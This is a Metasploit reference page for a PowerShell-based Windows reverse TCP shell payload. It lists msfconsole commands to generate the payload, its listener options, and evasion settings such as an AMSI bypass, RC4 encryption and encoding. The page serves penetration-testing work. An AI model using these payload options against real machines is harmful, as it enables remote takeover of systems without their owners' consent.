Powershell Exec, Windows Command Shell, Reverse TCP Inline - Metasploit


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Module Overview

Name: Powershell Exec, Windows Command Shell, Reverse TCP Inline
Module: payload/cmd/windows/powershell/shell_reverse_tcp
Source code: modules/payloads/adapters/cmd/windows/powershell.rb
Disclosure date: -
Last modification time: 2022-05-27 16:41:25 +0000
Supported architecture(s): cmd
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

Execute an x86 payload from a command via PowerShell. Connect back to attacker and spawn a command shell

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use payload/cmd/windows/powershell/shell_reverse_tcp
msf payload(shell_reverse_tcp) > show options
    ... show and set options ...
msf payload(shell_reverse_tcp) > generate

To learn how to generate payload/cmd/windows/powershell/shell_reverse_tcp with msfvenom, please read this.

Required Options

  • LHOST: The listen address (an interface may be specified)

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Msfconsole Usage

Here is how the cmd/windows/powershell/shell_reverse_tcp payload module looks in the msfconsole:

msf6 > use payload/cmd/windows/powershell/shell_reverse_tcp

msf6 payload(cmd/windows/powershell/shell_reverse_tcp) > show info

       Name: Powershell Exec, Windows Command Shell, Reverse TCP Inline
     Module: payload/cmd/windows/powershell/shell_reverse_tcp
   Platform: Windows
       Arch: cmd
Needs Admin: No
 Total size: 4240
       Rank: Normal

Provided by:
  Spencer McIntyre
  vlad902 <[email protected]>
  sf <[email protected]>

Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST                      yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port

Description:
  Execute an x86 payload from a command via PowerShell. Connect back 
  to attacker and spawn a command shell

Module Options

This is a complete list of options available in the cmd/windows/powershell/shell_reverse_tcp payload:

msf6 payload(cmd/windows/powershell/shell_reverse_tcp) > show options

Module options (payload/cmd/windows/powershell/shell_reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port

Advanced Options

Here is a complete list of advanced options supported by the cmd/windows/powershell/shell_reverse_tcp payload:

msf6 payload(cmd/windows/powershell/shell_reverse_tcp) > show advanced

Module advanced options (payload/cmd/windows/powershell/shell_reverse_tcp):

   Name                                 Current Setting  Required  Description
   ----                                 ---------------  --------  -----------
   AutoRunScript                                         no        A script to run automatically on session creation.
   AutoVerifySession                    true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                            no        A command to run before the session is closed
   CreateSession                        true             no        Create a new session for every successful login
   InitialAutoRunScript                                  no        An initial script to run on session creation (before AutoRunScript)
   Powershell::encode_final_payload     false            yes       Encode final payload for -EncodedCommand
   Powershell::encode_inner_payload     false            yes       Encode inner payload for -EncodedCommand
   Powershell::exec_in_place            false            yes       Produce PSH without executable wrapper
   Powershell::exec_rc4                 false            yes       Encrypt PSH with RC4
   Powershell::method                   reflection       yes       Payload delivery method (Accepted: net, reflection, old, msil)
   Powershell::no_equals                false            yes       Pad base64 until no "=" remains
   Powershell::noninteractive           true             yes       Execute powershell without interaction
   Powershell::persist                  false            yes       Run the payload in a loop
   Powershell::prepend_protections_byp  auto             yes       Prepend AMSI/SBL bypass (Accepted: auto, true, false)
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   Powershell::prepend_sleep                             no        Prepend seconds of sleep
   Powershell::remove_comspec           false            yes       Produce script calling powershell directly
   Powershell::strip_comments           true             yes       Strip comments
   Powershell::strip_whitespace         false            yes       Strip whitespace
   Powershell::sub_funcs                false            yes       Substitute function names
   Powershell::sub_vars                 true             yes       Substitute variable names
   Powershell::wrap_double_quotes       true             yes       Wraps the -Command argument in single quotes
   PrependMigrate                       false            yes       Spawns and runs shellcode in new process
   PrependMigrateProc                                    no        Process to spawn and run shellcode in
   ReverseAllowProxy                    false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through prox
                                                                   y but directly to LHOST
   ReverseListenerBindAddress                            no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                               no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                                   no        The specific communication channel to use for this listener
   ReverseListenerThreaded              false            yes       Handle every connection in a new thread (experimental)
   StagerRetryCount                     10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait                      5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                              false            no        Enable detailed status messages
   WORKSPACE                                             no        Specify the workspace for this module

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See Also

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Authors

  • Spencer McIntyre
  • vlad902
  • sf

Version

This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.

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